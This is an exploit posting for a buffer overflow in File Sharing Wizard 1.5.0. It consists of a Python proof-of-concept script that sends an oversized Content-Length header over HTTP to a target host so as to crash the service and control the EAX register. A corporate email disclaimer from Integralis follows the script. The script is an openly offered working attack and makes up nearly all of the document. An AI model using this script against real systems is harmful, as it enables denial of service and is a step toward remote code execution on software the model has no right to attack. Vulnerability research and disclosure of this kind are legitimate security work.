File Sharing Wizard 1.5.0 Buffer Overflow

`#!/usr/bin/python  
  
# http://www.sharing-file.net/  
# File Sharing Wizard Version 1.5.0 build on 26-8-2008  
#  
# controlling EAX  
# ESP points to our buffer  
# buffer grows if we increase our string  
#  
# more details on http://www.s3cur1ty.de  
# have fun m1k3 [at] m1k3 [dot] at  
  
import socket  
import sys  
  
if len(sys.argv) < 2:  
print "Usage: vrfy.py <IP-Adr> <port>"  
sys.exit(1)  
  
ips = sys.argv[1]  
port = int(sys.argv[2])  
  
  
string = "A"*51  
string += "B"*4 #controlling eax  
string += "C"*500  
  
header = "Content-Length"  
  
print "starting the attack for:", ips  
print ""  
  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
try:  
connect=s.connect((ips, port))  
except:  
print "no connection possible"  
sys.exit(1)  
  
print "\r\nsending payload"  
print "..."  
payload = (  
'GET http://%s/ HTTP/1.0\r\n'  
'%s: %s\r\n'  
'\r\n') % (ips,header,string)  
  
s.send(payload)  
s.close()  
  
print "finished kicking device %s" % (ips)  
print "... the service should be crashed ... check eax"  
  
  
Integralis Deutschland GmbH  
Robert-Bürkle-Str. 3  
85737 Ismaning  
  
Geschäftsführer: Johann Miller, Georg Magg, Heiner Luntz  
Registergericht: AG München HRB 147654  
  
*********************************************************************  
Please note that:  
  
1. This e-mail may constitute privileged information. If you are not the intended recipient, you have received this confidential email and any attachments transmitted with it in error and you must not disclose, copy, circulate or in any other way use or rely on this information.  
2. E-mails to and from the company are monitored for operational reasons and in accordance with lawful business practices.  
3. The contents of this email are those of the individual and do not necessarily represent the views of the company.  
4. The company does not conclude contracts by email and all negotiations are subject to contract.  
5. The company accepts no responsibility once an e-mail and any attachments is sent.  
http://www.integralis.com  
*********************************************************************  
  
  
  
`